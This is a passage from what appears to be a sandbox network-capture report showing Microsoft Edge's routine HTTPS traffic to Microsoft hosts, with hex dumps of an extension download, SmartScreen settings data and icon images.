2024-11-25 11:08:48 UTC	15829	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-25 11:08:49 UTC	16384	IN	Data Raw: c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db b1 Data Ascii: \|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-25 11:08:49 UTC	16384	IN	Data Raw: 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 1e Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-11-25 11:08:49 UTC	16384	IN	Data Raw: 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 7d Data Ascii: CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[}
2024-11-25 11:08:49 UTC	5226	IN	Data Raw: b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 c0 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49787	152.195.19.97	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:48 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733137725&P2=404&P3=2&P4=BLlaGljRHDfvzL9BLm2TqzGBzejuet5KAiIOgo%2fpnXSJlO2jVdpJQ03ndK0K0V9JfX%2bSg0PV%2fKbdk6q%2fXbP72A%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: +3XNT+gxoElKTS96nBL3E6 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:49 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12459460 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Mon, 25 Nov 2024 11:08:49 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-25 11:08:49 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49797	104.40.82.182	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:50 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoia3VBK3QvbHdqaUtydHpiUnQwWGNWQT09IiwgImhhc2giOiJxQ3lJOUw5NWFkVT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-25 11:08:50 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-25 11:08:50 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:50 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-25 11:08:50 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-25 11:08:51 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-25 11:08:51 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-25 11:08:51 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-25 11:08:51 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-25 11:08:51 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-25 11:08:51 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-25 11:08:51 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49798	13.107.246.40	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:50 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:51 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:50 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 0d5171c6-001e-0023-5c06-3f07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110850Z-178bfbc474bfw4gbhC1NYCunf400000007c00000000075e2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:08:51 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49802	13.107.246.40	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:50 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:51 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:51 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: f2b4d97c-d01e-004c-5cf5-3eaf18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110851Z-178bfbc474bw8bwphC1NYC38b4000000078g000000003cac Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
